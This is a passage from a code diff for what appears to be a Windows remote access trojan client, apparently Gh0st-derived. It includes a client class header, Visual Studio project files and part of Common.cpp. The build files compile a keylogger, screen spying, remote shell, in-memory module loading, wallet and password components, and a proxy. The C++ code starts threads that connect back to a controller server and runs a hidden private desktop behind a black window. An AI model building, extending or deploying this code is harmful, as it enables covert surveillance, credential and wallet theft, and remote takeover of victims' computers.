g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
g_hEvent = NULL;
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
m_ID = 0;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
std::vector<std::string> GetSharedMasterList()
|
||||
{
|
||||
DomainPool pool = g_Connection->ServerIP();
|
||||
auto list = pool.GetIPList();
|
||||
return list;
|
||||
}
|
||||
~ClientApp()
|
||||
{
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id)
|
||||
{
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount()
|
||||
{
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait()
|
||||
{
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
bool IsThreadRun()
|
||||
{
|
||||
m_Locker.Lock();
|
||||
BOOL n = g_bThreadExit;
|
||||
m_Locker.Unlock();
|
||||
return FALSE == n;
|
||||
}
|
||||
void SetThreadRun(BOOL run = TRUE)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
g_bThreadExit = !run;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
void SetProcessState(State state = S_CLIENT_NORMAL)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
g_bExit = state;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
virtual bool Initialize() override
|
||||
{
|
||||
g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
return true;
|
||||
}
|
||||
virtual bool Start() override
|
||||
{
|
||||
StartClientApp(this);
|
||||
return true;
|
||||
}
|
||||
virtual bool Stop() override
|
||||
{
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return true;
|
||||
}
|
||||
bool Run()
|
||||
{
|
||||
if (!Initialize()) return false;
|
||||
if (!Start()) return false;
|
||||
if (!Stop()) return false;
|
||||
return true;
|
||||
}
|
||||
virtual bool IsMainInstance()override {
|
||||
return !m_bShared;
|
||||
}
|
||||
};
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
270
client/ClientDll_vs2015.vcxproj
Normal file
270
client/ClientDll_vs2015.vcxproj
Normal file
@@ -0,0 +1,270 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
97
client/ClientDll_vs2015.vcxproj.filters
Normal file
97
client/ClientDll_vs2015.vcxproj.filters
Normal file
@@ -0,0 +1,97 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/ClientDll_vs2015.vcxproj.user
Normal file
4
client/ClientDll_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
150
client/Common.cpp
Normal file
150
client/Common.cpp
Normal file
@@ -0,0 +1,150 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Common.h"
|
||||
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ProxyManager.h"
|
||||
|
||||
#include "KernelManager.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
|
||||
SetEvent(ThreadArgList.hEvent);
|
||||
|
||||
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
pInfo->user = &m;
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
pInfo->user = NULL;
|
||||
}
|
||||
delete ClientObject;
|
||||
pInfo->p = NULL;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& msg, const std::string& signature,
|
||||
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData)
|
||||
{
|
||||
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac,
|
||||
const std::vector<BYTE>& bmpData);
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||
ClientObject->SetVerifyInfo(msg, signature);
|
||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||
} else {
|
||||
ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
}
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CScreenManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CTalkManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
if (CConPTYManager::IsConPTYSupported()) {
|
||||
return LoopManager<CConPTYManager, 0>(lParam);
|
||||
}
|
||||
return LoopManager<CShellManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam)
|
||||
{
|
||||
